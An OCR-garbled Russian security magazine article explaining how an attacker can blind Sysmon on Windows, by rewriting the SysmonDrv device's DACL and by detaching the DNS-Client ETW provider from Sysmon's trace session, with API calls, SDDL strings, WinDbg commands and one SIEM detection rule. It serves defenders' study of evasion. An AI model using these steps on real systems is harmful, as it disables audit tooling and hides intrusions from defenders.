SysmonDrv \Device\SysmonDrv

2.  — перечень фла гов, опи сыва ющих зап рашива емый
дос туп (мас ка дос тупа). Под систе ма безопас ности Windows устро ена
таким обра зом, что перед тем, как выпол нить опе рацию над объ ектом,
надо ука зать перечень необ ходимых дос тупов. Что бы пос мотреть зна- 
чения Owner, Group и спи сок DACL,  ука зать , а что бы
пос мотреть или изме нить спи сок SACL — зна чение

 (пос ледний флаг тре бует наличия у вызыва- 
юще го про цес са вклю чен ных при виле гий , в про тив- 
ном слу чае получим ошиб ку ).

dwDesiredAccess

нуж но READ_CONTROL

ACCESS_SYSTEM_SECURITY

SE_SECURITY_NAME

ERROR_ACCESS_DENIED

3.  опре деля ет режим сов мес тно го исполь зования. В нашем
слу чае уста нав лива ется 0.
dwShareMode

4.  при нима ет ука затель на дес крип тор безопас- 
ности, который будет ассо цииро ван с объ ектом. Этот параметр име ет
зна чение толь ко в слу чае соз дания нового объ екта.

lpSecurityAttributes

5.  опре деля ет дей ствие для сущес тву ющих
или несущес тву ющих фай лов или устрой ств, в нашем слу чае его зна чение
будет рав но .

dwCreationDisposition

OPEN_EXISTING

6.  опре деля ет перечень фла гов и атри бутов,
с которы ми зап рашива ется дос туп к объ екту. Здесь мы ука жем

, что сооб щит под систе ме безопас ности
о необ ходимос ти получить дос туп в обход сущес тву юще го спис ка DACL
(наличие дан ной опции тре бует у вызыва юще го про цес са вклю чен ных при- 
виле гий  и ).

dwFlagsAndAttributes

FILE_FLAG_BACKUP_SEMANTICS

SE_BACKUP_NAME SE_RESTORE_NAME

7.  — исполь зует ся толь ко при соз дании новых объ ектов.hTemplateFile

Вот как будет выг лядеть наш вызов :CreateFile()

  hDevice = CreateFile(
 lpDeviceName,
   READ_CONTROL | ACCESS_SYSTEM_SECURITY,
 0,
 NULL,
 OPEN_EXISTING,
 FILE_FLAG_BACKUP_SEMANTICS,
 NULL
);

Пос ле получе ния опи сате ля для устрой ства  вос поль зуем ся
фун кци ей , которая поз волит вытащить информа цию из дес- 
крип тора безопас ности:

\\.\SysmonDrv
GetSecurityInfo()

 DWORD GetSecurityInfo(
 [in]            HANDLE               handle,
 [in]            SE_OBJECT_TYPE       ObjectType,
  [in]            SECURITY_INFORMATION SecurityInfo,
   [out, optional] PSID                 *ppsidOwner,
   [out, optional] PSID                 *ppsidGroup,
   [out, optional] PACL                 *ppDacl,
   [out, optional] PACL                 *ppSacl,
    [out, optional] PSECURITY_DESCRIPTOR *ppSecurityDescriptor
);

Пер вый параметр ( ) при нима ет опи сатель нашего объ екта, который

мы получи ли с помощью .

handle
CreateFile()

Да лее нуж но ука зать тип объ екта ( ), дес крип тор безопас ности

которо го мы хотим пос мотреть.  .

ObjectType
Ука жем SE_UNKNOWN_OBJECT_TYPE

В сле дующем аргу мен те ( ) мы ука зыва ем, какие имен но 

 мы хотим получить. В нашем слу чае это вот
такое объ еди нение:

SecurityInfo по- 

ля дес крип тора безопас ности

OWNER_SECURITY_INFORMATION | GROUP_SECURITY_INFORMATION | DACL_
SECURITY_INFORMATION | SACL_SECURITY_INFORMATION 

Ос тавши еся парамет ры ука зыва ют на струк туры дан ных, в которые будет
помеще на тре буемая нам информа ция.

В ито ге вызов  име ет сле дующий вид:GetSecurityInfo()

GetSecurityInfo(
 hObject,
 SE_UNKNOWN_OBJECT_TYPE,
     

  
OWNER_SECURITY_INFORMATION | GROUP_SECURITY_INFORMATION |

DACL_SECURITY_INFORMATION | SACL_SECURITY_INFORMATION,
 &pOwner,
 &pGroup,
 &pDacl,
 &pSacl,
 &pSecurityDescriptor
);

Пос мотрим на дес крип тор безопас ности для .

С помощью команд  и  мож но

узнать хозя ина объ екта и груп пу, а коман дой  получить
пол ное содер жание SD в фор мате SDDL.

\Device\SysmonDrv
show owner <Device> show group <Device>

show sd <Device>

Security Descriptor выг лядит сле дующим обра зом:

O:SYG:SYD:(A;;0x1201bf;;;WD)(A;;FA;;;SY)(A;;FA;;;BA)(A;;0x1200a9;;;
RC)S:AI 

О том, как пра виль но читать такой фор мат, под робно написа но в статье «
» на «Хаб рахаб ре». Мы

оста новим ся лишь на одной его час ти — спис ке изби ратель ного кон тро ля
дос тупа (DACL). Он име ет такой вид:

Как
смот реть SDDL и не ломать гла за о точ ки с запяты ми

D:(A;;0x1201bf;;;WD)(A;;FA;;;SY)(A;;FA;;;BA)(A;;0x1200a9;;;RC) 

Cпи сок изби ратель ного кон тро ля дос тупа (Discretionary Access Control List,
DACL) сос тоит из отдель ных записей (Access Control Entries, ACE). Каж дая
ACE офор мля ется в отдель ных круг лых скоб ках. Имен но DACL хра нит
информа цию о том, какому субъ екту и какой имен но дос туп раз решен,
а какой зап рещен. Его мы раз берем под робнее.

В гла за сра зу бро сает ся запись , которая говорит о том, что

учет ной записи Local System (SY) воз можно пре дос тавлять (A) пол ный дос туп
(FA). Поп робу ем явно зап ретить любой дос туп для этой учет ной записи.
Для это го сим вол A заменим D — . Перепи сать Security

Descriptor мож но коман дой . Она реали зова на через
вызов фун кции , которая при нима ет парамет ры, ана логич ные

, поэто му не будем раз бирать его под робно.

(A;;FA;;;SY)

(D;;FA;;;SY)
set sddldacl <DACL>

SetSecurityInfo()
GetSecurityInfo()

Про верим, что из это го вый дет, если поп росить сис тему зак рыть хендл
на устрой ство с помощью уже извес тной нам тех ники — зак рытия хен дла
через дуб ликат.

Ви дим, что ничего не изме нилось и у про цес са Sysmon64.exe оста лось
откры тое устрой ство , но уже с дру гим опи сате лем.

Веро ятно, мы чего-то не учли! Вер немся к дес крип тору безопас ности.

\Device\SysmonDrv

Об ратим вни мание на пер вую запись в спис ке DACL — 

, которая озна чает, что для учет ной записи Everyone (WD) пре дос тавлен

(A) какой-то доволь но широкий дос туп — 0x1201bf (при сутс тву ют как минимум
 и ). Убе рем ее из спис ка DACL и пов торим

опе рацию по зак рытию хен дла на устрой ство.

(A;;0x1201bf;;;
WD)

FILE_READ_DATA FILE_WRITE_DATA

«Ура! Сра бота ло!» — ска жет хакер и про дол жит свои гряз ные делиш ки
в нашей сис теме.

Ну а мы пос мотрим в жур нал 

и убе дим ся, что наш Sysmon, к сожале нию, боль ше ничего не пишет.

Microsoft-Windows-Sysmon\Operational

Но не сто ит отча ивать ся, мы как безопас ники получи ли «плюс один» детект
для нашего SIEM:

Provider Name='Microsoft-Windows-Sysmon' and EventID='255' and Data 
Name.Description='Failed to access the driver - Last 
error: Неверный дескриптор' 

С позиции же «спе цов по про ник новению» здесь есть еще куда пос мотреть,
но, пожалуй, мы про дол жим это увле катель ное занятие в дру гой раз.

https://habr.com/ru/companies/otus/articles/533170/
https://habr.com/ru/articles/776298/
https://codeby.net/threads/asm-bezopasnost-win-1-razgranichenie-prav-dostupa-k-obektam.78105/?ysclid=lqmaorict3222950535
https://learn.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-createfilew
https://learn.microsoft.com/ru-ru/windows/win32/api/aclapi/nf-aclapi-getsecurityinfo
https://learn.microsoft.com/en-us/windows/win32/secauthz/access-mask
https://learn.microsoft.com/en-us/windows/win32/api/aclapi/nf-aclapi-getsecurityinfo
https://learn.microsoft.com/en-us/windows/win32/api/accctrl/ne-accctrl-se_object_type
https://learn.microsoft.com/en-us/windows/win32/secauthz/security-information
https://habr.com/ru/companies/pm/articles/442662/
https://learn.microsoft.com/ru-ru/windows/win32/api/aclapi/nf-aclapi-setsecurityinfo


driverenok
Threat Researcher

andreykras14@gmail.com

COVERSTORY

По лучив дос туп к сис теме, зло умыш ленник
пер вым делом пыта ется вывес ти из строя
средс тва ауди та, что бы как мож но доль ше
оста вать ся незаме чен ным. В этой статье я
покажу, как ата кующий может осле пить
средс тва монито рин га Windows путем
манипу ляций с под систе мой Event Tracing
for Windows (ETW).

Статья име ет озна коми тель ный харак тер и пред- 
назна чена для спе циалис тов по безопас ности,
про водя щих тес тирова ние в рам ках кон трак та.
Автор и редак ция не несут ответс твен ности
за любой вред, при чинен ный с при мене нием
изло жен ной информа ции. Рас простра нение вре- 
донос ных прог рамм, наруше ние работы сис тем
и наруше ние тай ны перепис ки прес леду ются
по закону.

Приз наюсь чес тно, , ког да я ска зал, что у ата кующе го
получи лось осле пить Sysmon путем манипу ляций с дес крип тором безопас- 
ности устрой ства , я нем ножеч ко слу кавил. На самом
деле пос ле про делан ных манипу ляций Sysmon перес танет фор мировать
лишь часть событий, но не все. Перес тают генери ровать ся события, получен- 
ные от драй вера SysmonDrv (это, кста ти говоря, основная часть: события
запус ка и завер шения про цес сов, заг рузка DLL в адресное прос транс тво
про цес са, заг рузка драй вера, манипу ляций с клю чами реес тра и дру гие).
Но есть еще один пос тавщик информа ции, на осно ве которо го Sysmon фор- 
миру ет свои события, — это ETW. Сегод ня мы пос мотрим на этот механизм
со сто роны ата кующе го и попыта емся помани пули ровать его работой, что бы
«до кон ца осле пить Sysmon».

в прош лом матери але

\Device\SysmonDrv

EVENT TRACING FOR WINDOWS

 — механизм опе раци онной сис темы Windows,
пред назна чен ный для регис тра ции событий, про исхо дящих в сис теме.
Event Tracing for Windows (ETW)

Под робнее про тон кости работы ETW ты можешь
про честь на «Хаб рахаб ре»:
•Са мый худ ший из ког да-либо соз данных API
•Event Tracing for Windows на сто роне зла.

Но это не точ но
•Изу чаем Event Tracing for Windows: теория

и прак тика

В ETW есть нес коль ко основных понятий: про вай деры, сес сии, кон трол леры
и пот ребите ли.

 (providers, пос тавщи ки событий) — это при ложе ния (нап- 
ример, DLL), в которых реали зова ны фун кции регис тра ции событий. Про- 
вай дер дол жен быть обя затель но зарегис три рован в под систе ме ETW
и иметь GUID. По сути, имен но про вай дер отсле жива ет сос тояния при- 
ложе ний (или сис темы) и отправ ляет события в сес сию.

• Ïðî âàé äåðû

 (sessions, сеанс трас сиров ки, лог гер) — сущ ности, которые

собира ют события от про вай деров и переда ют их пот ребите лям. Одна
сес сия может пот реблять события от одно го или нес коль ких про вай деров.
Сес сии, как и про вай деры, тоже име ют свой иден тифика тор (GUID).

• Ñåñ ñèè

 (controllers) — это при ложе ния (нап ример, logman),

которые управля ют сес сиями. Могут соз давать или уда лять сес сии, а так- 
же изме нять их парамет ры.

• Êîí òðîë ëåðû

 (consumers) — при ложе ния, которые могут

получать и как-то обра баты вать события от одной или нес коль ких сес сий,
а так же из фай лов.

• Ïîò ðåáèòå ëè ñîáûòèé

Мож но ска зать, что ETW осно ван на про вай дерах и пот ребите лях. Про вай- 
деры фор миру ют и переда ют события о сос тояниях, про исхо дящих внут ри
про цес сов или ядра, а пот ребите ли исполь зуют эти события для собс твен ных
целей (нап ример, для ана лиза про изво дитель нос ти). При чем меж ду про вай- 
дером и пот ребите лем при сутс тву ет про межу точ ная сущ ность — сеанс трас- 
сиров ки (сес сия).

Де ло в том, что один про вай дер может генери ровать мно жес тво пре доп- 
ределен ных типов событий, часть из которых нуж на одним пот ребите лям,
а дру гая часть — дру гим. Имен но на уров не сес сии про исхо дит филь тра ция
событий. Кро ме того, одной груп пе пот ребите лей могут пот ребовать ся
события не от одно го, а сра зу от груп пы про вай деров, поэто му сеанс трас- 
сиров ки может собирать события сра зу от нес коль ких про вай деров и отда- 
вать их нес коль ким пот ребите лям.

Да вай пос мотрим, как это выг лядит в ядре ОС. За общее сос тояние под- 
систе мы ETW отве чает струк тура , адрес которой
мож но получить из гло баль ных перемен ных ядра.

_ETW_SILODRIVERSTATE

В этой струк туре есть два инте рес ных нам поля: 

и .

EtwpLoggerContext
EtwpGuidHashTable

Ос тановим ся на них под робнее.

Ñåññèè ETW

По ле  — ука затель на мас сив струк тур типа

, каж дая из которых опи сыва ет сес сию сбо ра
событий. Адре са для этих струк тур мож но получить спо собом, изоб ражен ным
ниже.

EtwpLoggerContext
_WMI_LOGGER_CONTEXT

Об рати вни мание, что пер вые адре са рав ны . Ско рее
все го, это свя зано с тем, что  пре доп ределе ны сис- 
темой и не могут быть изме нены, поэто му они име ют такие зна чения.

0x00000000 00000001
два сеан са трас сиров ки

Да вай пос мотрим на опре деле ние струк туры ._WMI_LOGGER_CONTEXT

На скри не выведе ны толь ко наибо лее инте рес ные нам детали:
По ле  — иден тифика тор сеан са трас сиров ки.• LoggerId

Па раметр  содер жит имя сес сии в фор мате
.

• LoggerName

_UNICODE_STRING

 — иден тифика тор сес сии трас сиров ки в фор мате GUID.• InstanceGuid

Па раметр  — ука затель на дес крип тор безопас- 
ности сес сии.

• SecurityDescriptor

По ле  пред став ляет собой спи сок струк тур
, каж дая из которых содер жит ука затель

на струк туру . Сама струк тура 
опи сыва ет отдель ный объ ект — пот ребитель событий.

• Consumers

_ETW_REALTIME_CONSUMER
_EPROCESS _ETW_REALTIME_CONSUMER

По ле  — это ука затель на струк туру  про цес са-пот- 

ребите ля.

ProcessObject _EPROCESS

Для при мера давай пос мотрим на сес сию .0xFFFFBA05E862D040

Тут мы видим, что у сес сии 
 есть толь ко один пот ребитель и это про цесс с иден тифика- 

тором 1528. Инте рес но, что же это за про цесс?

EventLog-Microsoft-Windows-Sysmon-
Operational

Да, это служ ба жур нала событий Windows, которая берет события Sysmon-
про вай дера и записы вает их в файл .evtx. Но об этом чуть поз же. А пока давай
вер немся к струк турам ядра.

ETW-ïðîâàéäåðû

На вер ное, было бы логич но, если бы в  был ука затель

на мас сив про вай деров, которые пишут события в сес сию. Но нет, все устро- 
ено нем ного ина че.

_WMI_LOGGER_CONTEXT

Каж дый зарегис три рован ный в сис теме про вай дер опи сыва ется струк- 
турой ._ETW_GUID_ENTRY

При чем пос тавщик событий может пре дос тавлять события не более чем
в восемь сеан сов трас сиров ки. Эти све дения хра нят ся в поле ,

которое пред став ляет собой мас сив струк тур типа .
Эта струк тура содер жит информа цию о «сос тоянии про вай дера внут ри сес- 
сии» (вклю чен/вык лючен — поле ), о «при над лежнос ти» к кон крет- 

ной сес сии (поле ), а так же поля филь тра ции событий

(  и ).

EnableInfo
_TRACE_ENABLE_INFO

IsEnable
LoggerId

MatchAnyKeyword MatchAllKeyword

Па рамет ры про вай дера, опи сан ные в струк туре , мож но

нас тро ить одновре мен но для всех сес сий. Для это го в струк туре
 есть отдель ное поле .

_TRACE_ENABLE_INFO

_ETW_GUID_ENTRY ProviderEnableInfo
Как ты можешь заметить, у каж дого про вай дера есть свой дес крип тор

безопас ности — это поле  в струк туре
.

SecurityDescriptor
_ETW_GUID_ENTRY

Об рати вни мание, что пер вый эле мент струк туры — . Это двус- 

вязный спи сок, в виде которо го хра нят ся все про вай деры. Что бы зарегис три- 
ровать в сис теме новый про вай дер, ядру нуж но прой тись по всем эле мен там
это го спис ка и в конец добавить ссыл ку на новую струк туру. А что бы выпол- 
нить какую-либо опе рацию над зарегис три рован ным про вай дером (добавить
про вай дер в сес сию, вклю чить/вык лючить, изме нить дес крип тор безопас- 
ности), ядру при дет ся прой ти по каж дому эле мен ту, пока он не най дет нуж- 
ного ему пос тавщи ка. Такой под ход негатив но ска зыва ется на про изво- 
дитель нос ти.

GuidList

Да вай вер немся к основной струк туре, опи сыва ющей сос тояние ETW
(струк тура ), и обра тим вни мание на поле

, оно име ет тип . Это поле пред- 
став ляет собой мас сив из 64 типов (64 эле мен тов) спис ков про вай деров.

_ETW_SILODRIVERSTATE
EtwpGuidHashTable _ETW_HASH_BUCKET

Де ло в том, что с эво люци ей Windows сущес твен но уве личи лось количес- 
тво пос тавщи ков событий, и с точ ки зре ния про изво дитель нос ти было бы
не очень разум но хра нить это мно жес тво зарегис три рован ных в сис теме про- 
вай деров в виде одно го спис ка. Поэто му раз работ чики решили раз делить
все про вай деры на груп пы. Приз наком при над лежнос ти про вай дера к опре- 
делен ной груп пе слу жит взя тый от GUID хеш, который вычис ляет ся вот
по такой :фор муле

Guid->Data1 XOR (Guid->Data2 XOR Guid->Data4[0] XOR Guid->Data4[4])) 
& 0x3F 

Зна чение  огра ничи вает раз мер хеша шестью битами (64 уни каль ных

зна чения). Отсю да и берет ся раз мер мас сива  рав- 

ный 64 эле мен там.

0x3F
EtwpGuidHashTable

По мимо того что про вай деры делят ся на груп пы в зависи мос ти от хеша,
они еще быва ют нес коль ких типов. Типы про вай деров опре деле ны перечис- 
лени ем . Так,  содер жит спи сок про вай деров

типа , а  — спи сок типа
. Этот факт усложня ет пред став ление спис ков

про вай деров в ядре Windows.

_ETW_GUID_TYPE ListHead[0]
EtwTraceGuidType ListHead[1]

EtwNotificationGuidType

Итак, в сис теме сущес тву ет , опре- 

делен ных мас сивом . Каж дая груп па име ет три раз личных

спис ка, в зависи мос ти от типа. Сна чала это не так прос то осоз нать, но не
вол нуй ся, со вре менем все обя затель но уло жит ся в голове.

64 ãðóï ïû ñïèñ êîâ ïðî âàé äåðîâ

EtwpGuidHashTable

Пред лагаю поуп ражнять ся и най ти хеш для про вай дера 

. Забегая впе ред, ска жу, что это про вай дер,
зарегис три рован ный про цес сом Sysmon64.exe — 

.

{5770385F-C22A-
43E0-BF4C-06F5698FFBD9}

Microsoft-Windows-
Sysmon

(0x5770385F XOR 0xC22A XOR 0xBF XOR 0x69) & 0x3F = 0x23 

 — 35 в десятич ной сис теме счис ления. Это озна чает, что наш про вай- 

дер хра нит ся в 35-м наборе спис ков (в 35-м эле мен те мас сива
). Давай про верим это:

0x23

EtwpGuidHashTable
1. Получим 35-й эле мент мас сива :EtwpGuidHashTable

    dx -r0 @$GuidTable = ((nt!_ESERVERSILO_GLOBALS*)&nt!
PspHostSiloGlobals)->EtwSiloState->EtwpGuidHashTable[35]

2. Из него возь мем нулевой эле мент спис ка ListHead и выведем содер жимое
это го спис ка:

  
     

     

dx -g Debugger.Utility.Collections.FromListEntry(@$GuidTable.
ListHead[0], "nt!_ETW_GUID_ENTRY", "GuidList").Select(entry => new
{GUID = entry.Guid, SecurityDescriptor = entry.SecurityDescriptor}
)

3. Убеж даем ся, что в 35-м наборе спис ков при сутс тву ет GUID Sysmon-про- 
вай дера.

NT Kernel Logger Session

По мимо того что сеан сы трас сиров ки могут соз давать ся отдель ными при- 
ложе ниями, в сис теме сущес тву ет спе циаль ный тип сес сии — 

, который пред назна чен для наб людения за пре доп ределен ными клас- 

сами событий ядра ОС (события под систе мы вво да-вывода, менед жера
управле ния памятью, менед жера кон фигура ции и сте ка TCP/IP и дру гих).
Для нужд этой сес сии в сис теме сущес тву ет и спе циаль ный про вай дер

 (а начиная с Windows 10 — ),

который отве чает за фор мирова ние .

NT Kernel 
Logger

SystemTraceProvider нес коль ко про вай деров

этих самых событий
Что бы вклю чить в сес сию сис темный про вай дер, в поле 

струк туры  нуж но помес тить зна чение
 ( ). В соот ветс твии с 

, что бы опре делить перечень событий, за которы ми мы
хотим наб людать, нам нуж но ука зать «спи сок» фла гов в поле 

струк туры .

LogFileMode
EVENT_TRACE_PROPERTIES

EVENT_TRACE_SYSTEM_LOGGER_MODE 0x02000000 ру- 
ководс твом Microsoft

EnableFlags
EVENT_TRACE_PROPERTIES
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МАНИПУЛИРУЕМ ОБЪЕКТАМИ ETW,
ЧТОБЫ ОБОЙТИ МОНИТОРИНГ

COVERSTORY  НАЧАЛО СТАТЬИ←

SYSMON && ETW

В при веден ном выше опи сании мы нем ного осве жили зна ния, которые нам
помогут при иссле дова нии про цес сов работы инс тру мен та Sysmon. Пора
прис тупать к самому иссле дова нию.

Итак, что бы получить хоть какие-то доказа тель ства того, что Sysmon и ETW
име ют отно шение друг к дру гу, пос мотрим на спи сок хен длов про цес са
Sysmon64.exe.

О том, как работа ют коман ды  и 
, я рас ска зывал .

search name <ProcessPattern> show 
handles <PID> <Type> в прош лом матери але

Как видим, в таб лице хен длов при сутс тву ют опи сате ли для двух объ ектов
ядра типа . Этот объ ект пред став ляет собой под клю чен ный ETW-
пот ребитель, спо соб ный получать события от сеан сов трас сиров ки.

EtwConsumer

Вы вод выше озна чает, что про цесс Sysmon64.exe пот ребля ет события
от двух сес сий. Про верим это. Пос мотрим на спи сок всех сеан сов трас-
сиров ки, зарегис три рован ных в сис теме, и най дем наибо лее под ходящие
по смыс лу для Sysmon.

Ко ман да  вызыва ет фун кцию

:

search session <SessionPattern>
QueryAllTracesW

  ULONG WMIAPI QueryAllTracesW(
   [out] PEVENT_TRACE_PROPERTIES *PropertyArray,
   [in] ULONG                    PropertyArrayCount,
  [out] PULONG                   LoggerCount
);

Пос ледние два парамет ра (  и ) ука зыва ют
на име ющееся и тре буемое количес тво эле мен тов мас сива .

PropertyArrayCount LoggerCount
PropertyArray

На пер вом парамет ре ( ) давай оста новим ся нем ного под- 

робнее. Это  типа
, каж дая из которых опи сыва ет парамет ры сес- 

сии. Вни матель ный читатель задас тся воп росом, почему же нель зя было
переда вать в фун кцию прос то 

. Это, ско рее все го, свя зано с тем, что струк тура,

опи сыва ющая сес сию, не име ет пос тоян ного раз мера.

PropertyArray
óêà çàòåëü íà ìàñ ñèâ óêà çàòå ëåé íà ñòðóê òóðû

EVENT_TRACE_PROPERTIES

óêà çàòåëü íà ìàñ ñèâ ñòðóê òóð

EVENT_TRACE_PROPERTIES

Де ло в том, что в самой струк туре отсутс тву ют поля «имя лог-фай ла»
и «имя сес сии», раз мер каж дого из которых не дол жен пре вышать 1024 сим- 
вола. Эти поля записы вают ся в память , а в самой струк туре

ука зыва ются прос то сме щения (поля 
и ) отно ситель но ее начала. Навер ное, с целью эко номии

памяти раз работ чики решили сде лать раз мер этой струк туры перемен ной
дли ны.

çà ñòðóê òóðîé

LogFileNameOffset
LoggerNameOffset

Что бы получить спи сок сес сий, нуж но сде лать как минимум два вызова
фун кции . Пер вый вер нет количес тво сес сий. На осно ве

этой информа ции нуж но будет:

QueryAllTracesW

1. Выделить память для мас сива ука зате лей с количес твом эле мен тов, рав- 
ным количес тву сес сий.

2. Выделить буфер ную память, в которую будет сох ранена информа ция
обо всех сес сиях.

3. Раз делить буфер ную память на кус ки, в каж дый из которых будет помеще- 
на информа ция об отдель ной сес сии, а адре сами каж дого из кус ков ини- 
циали зиро вать мас сив ука зате лей, объ явленный на пер вом шаге.

4. Для каж дого буфер ного кус ка (для каж дой струк туры
) уста новить зна чения полей ,

 и .
EVENT_TRACE_PROPERTIES BufferSize

LoggerNameOffset LogFileNameOffset

Сно ва выз вать фун кцию  и получить спи сок сес сий (при

усло вии, что раз мера выделен ного буфера хва тит для сох ранения этой
информа ции).

QueryAllTracesW

Итак, про делан ные манипу ляции поз волили нам получить три сеан са,
по наз ванию схо жие с Sysmon. Как мы выяс нили ранее, сес сия 

 соз дана для того, что бы служ ба
жур нала событий Windows мог ла пот реблять события от Sysmon и писать их
в соот ветс тву ющий жур наль ный файл. Эту сес сию давай оста вим напос ледок,
а сей час оста новим ся на сеан сах  и .

EventLog-
Microsoft-Windows-Sysmon-Operational

SysmonDnsEtwSession SYSMON TRACE
Но для начала убе дим ся, что их пот ребитель — это имен но про цесс

Sysmon64.exe. Мне неиз вестен спо соб, как это мож но сде лать из режима
поль зовате ля, поэто му обра тим ся к нашему любимо му отладчи ку.

В WinDbg есть рас ширение , которое поз воля ет удоб но
работать со струк турами ETW. С помощью коман ды 

получим спи сок сеан сов ETW.

!wmitrace
!wmitrace.strdump

Ко ман дой  получим под робную информа цию

о сес сии .

!wmitrace.logger <LoggerId>
SYSMON TRACE

По ле  содер жит сос тоящий из одно го эле мен та спи сок адре сов

струк тур , каж дая из которых содер жит ука затель

на .

Consumer
_ETW_REALTIME_CONSUMER

_EPROCESS

Та ким обра зом мы убеж даем ся, что пот ребите лем сес сии 
явля ется про цесс Sysmon64.exe.

SYSMON TRACE

Для сеан са  пот ребитель тоже Sysmon64.exe. Про- 

верить это ты можешь самос тоятель но, про делав перечень шагов, ана логич- 
ный опи сан ному выше.

SysmonDnsEtwSession

ÌÀÍÈÏÓËÈÐÓÅÌ Ñ ETW È ËÎÌÀÅÌ SYSMON

Мы убе дились, что Sysmon для сво его фун кци они рова ния соз дает нес коль ко
сеан сов трас сиров ки. Давай теперь пос мотрим, какие имен но манипу ляции
могут совер шать ата кующие при попыт ке осле пить Sysmon.

Âûêëþ÷àåì ïðîâàéäåðû ñåññèè SysmonDnsEtwSession

Раз уж сес сии собира ют события от про вай деров, а у каж дого про вай дера
в струк туре  есть мас сив его сос тояний, пер вое, что при- 

ходит в голову (с позиции ата кующе го), — это отклю чить про вай дер от сес- 
сии. Так и пос тупим.

_ETW_GUID_ENTRY

Да вай пос мотрим на спи сок про вай деров, от которых сес сия
 получа ет события.SysmonDnsEtwSession

Ко ман да  вызыва ет фун кцию 

с парамет ром .

show session <SessionHandle> ControlTraceW

EVENT_TRACE_CONTROL_QUERY

  ULONG WMIAPI ControlTraceW(
 [in]      TRACEHANDLE             TraceHandle,
 [in]      LPCWSTR                 InstanceName,
    [in, out] PEVENT_TRACE_PROPERTIES Properties,
 [in]      ULONG                   ControlCode
);

Прой дем ся по парамет рам.
 при нима ет иден тифика тор (дес крип тор сес сии).• TraceHandle

Вто рой параметр ( ) — имя сес сии. Один из пер вых двух
парамет ров может быть равен NULL.

• InstanceName

Сле дующий параметр воз вра щает струк туру опи сания сес сии
.

•
EVENT_TRACE_PROPERTIES

В парамет ре  ука зыва ется код опе рации. В нашем слу чае он
равен .

• ControlCode

EVENT_TRACE_CONTROL_QUERY

Вы зов этой фун кции поз воля ет получить информа цию об име ни сес сии, ее
GUID, а так же парамет ры  и , но не пре дос тавля ет
информа ции о про вай дерах.

LogFileMode EnableFlags

Да лее нам нуж но получить информа цию о про вай дерах, которые пре дос- 
тавля ют события в сес сию. Я не знаю спо соба, как зап росто получить спи сок
про вай деров для кон крет ной сес сии. Судя по тому, как это дела ет оснас тка

, логика тут сле дующая: нуж но получить пол ный спи сок про вай- 

деров, зарегис три рован ных в сис теме, прой тись по каж дому и най ти приз- 
наки его при над лежнос ти к сес сии ETW. В целом логика пов торя ет струк туру
пред став ления про вай деров в ядре Windows.

perfmon.exe

По лучить спи сок про вай деров мож но с помощью вызова
:TdhEnumerateProviders

 TDHSTATUS TdhEnumerateProviders(
        [out] PPROVIDER_ENUMERATION_INFO pBuffer,
   [in, out] ULONG                      *pBufferSize
);

Эта фун кция воз вра щает струк туру дан ных типа
, которая содер жит информа цию о количес- 

тве зарегис три рован ных в сис теме про вай деров (параметр
), и мас сив типа , который опи- 

сыва ет каж дый про вай дер в отдель нос ти с ука зани ем име ни (вычис ляет ся
с помощью ) и GUID (поле ). Таким обра- 

зом, вызов фун кции  вер нет нам информа цию
об име нах и GUID про вай деров, но не даст информа ции о при над лежнос ти
про вай деров к кон крет ной сес сии.

PROVIDER_ENUMERATION_INFO

NumberOfProviders TRACE_PROVIDER_INFO

ProviderNameOffset ProviderGuid
TdhEnumerateProviders

Что бы получить недос тающую информа цию, мы для каж дого про вай дера
дол жны выз вать фун кцию :EnumerateTraceGuidsEx

  ULONG WMIAPI EnumerateTraceGuidsEx(
    [in] TRACE_QUERY_INFO_CLASS TraceQueryInfoClass,
   [in] PVOID                  InBuffer,
   [in] ULONG                  InBufferSize,
  [out] PVOID                  OutBuffer,
   [in] ULONG                  OutBufferSize,
  [out] PULONG                 ReturnLength
);

Раз берем парамет ры.
 при нима ет тип зап роса фун кции. В нашем слу чае

он равен , это озна чает, что нам нуж но получить
информа цию о про вай дере.

• TraceQueryInfoClass

TraceGuidQueryInfo

GUID про вай дера переда ется в виде буфера .• InBuffer

Па раметр  опре деля ет раз мер буфера.• InBufferSize

Чет вертым парамет ром ( ) переда ется ука затель на воз вра- 
щаемый буфер.

• OutBuffer

Пя тый ( ) и шес той ( ) парамет ры ука зыва ют
раз мер име ющей ся и тре буемой памяти, в которую помеща ется резуль тат
работы фун кции.

• OutBufferSize ReturnLength

Па раметр  пред став ляет собой струк туру дан ных, заголов ком
которой явля ется .

OutBuffer
TRACE_GUID_INFO

Вслед за заголов ком идет одна или нес коль ко струк тур типа
, каж дая из которых опи сыва ет 

. Наг лядно
это мож но пред ста вить в сле дующем виде.

TRACE_PROVIDER_INSTANCE_INFO при над- 
лежность сес сии к про вай деру и парамет ры филь тра ции событий

Ви дим, что в сес сию вклю чен один про вай дер — 
. Отклю чим его от сес сии . Это мож но сде лать

с помощью фун кции  с парамет ром
:

Microsoft-Windows-DNS-
Client SysmonDnsEtwSession

EnableTraceEx2
EVENT_CONTROL_CODE_DISABLE_PROVIDER

  ULONG WMIAPI EnableTraceEx2(
 [in]           TRACEHANDLE              TraceHandle,
 [in]           LPCGUID                  ProviderId,
 [in]           ULONG                    ControlCode,
 [in]           UCHAR                    Level,
 [in]           ULONGLONG                MatchAnyKeyword,
 [in]           ULONGLONG                MatchAllKeyword,
 [in]           ULONG                    Timeout,
    [in, optional] PENABLE_TRACE_PARAMETERS EnableParameters
);

Пер вый параметр ( ) — дес крип тор сес сии трас сиров ки.
В нашем слу чае этот параметр равен 0x23.

• TraceHandle

В сле дующем парамет ре ( ) переда ется GUID про вай дера.
Для про вай дера  он равен 

.

• ProviderId

Microsoft-Windows-DNS-Client {

1C95126E-7EEA-49A9-A3FE-A378B03DDB4D}

Па раметр  при нима ет тип опе рации
( ).

• ControlCode

EVENT_CONTROL_CODE_DISABLE_PROVIDER

Чет вертый параметр ( ) — уро вень логиро вания. Уста новим его
в TRACE_LEVEL_INFORMATION.

• Level

Пя тый и шес той парамет ры (  и )
при нима ют парамет ры филь тра ции событий. Уста новим их рав ными

 и  соот ветс твен но.

• MatchAnyKeyword MatchAllKeyword

0xFFFFFFFFFFFFFFFF 0x00

Пос ледние парамет ры (  и ) уста новим рав- 
ными нулю.

• Timeout EnableParameters

Ко ман да  работа ет на осно ве
фун кции .

disable <ProviderGuid> <SessionHandle>
EnableTraceEx2

От кры ваем оснас тку «Прос мотр событий», пыта емся отре зол вить нас коль ко
DNS-имен и убеж даем ся в отсутс твии событий «EventID 22 (DNS query)»
в жур нале .Microsoft-Windows-Sysmon\Operational

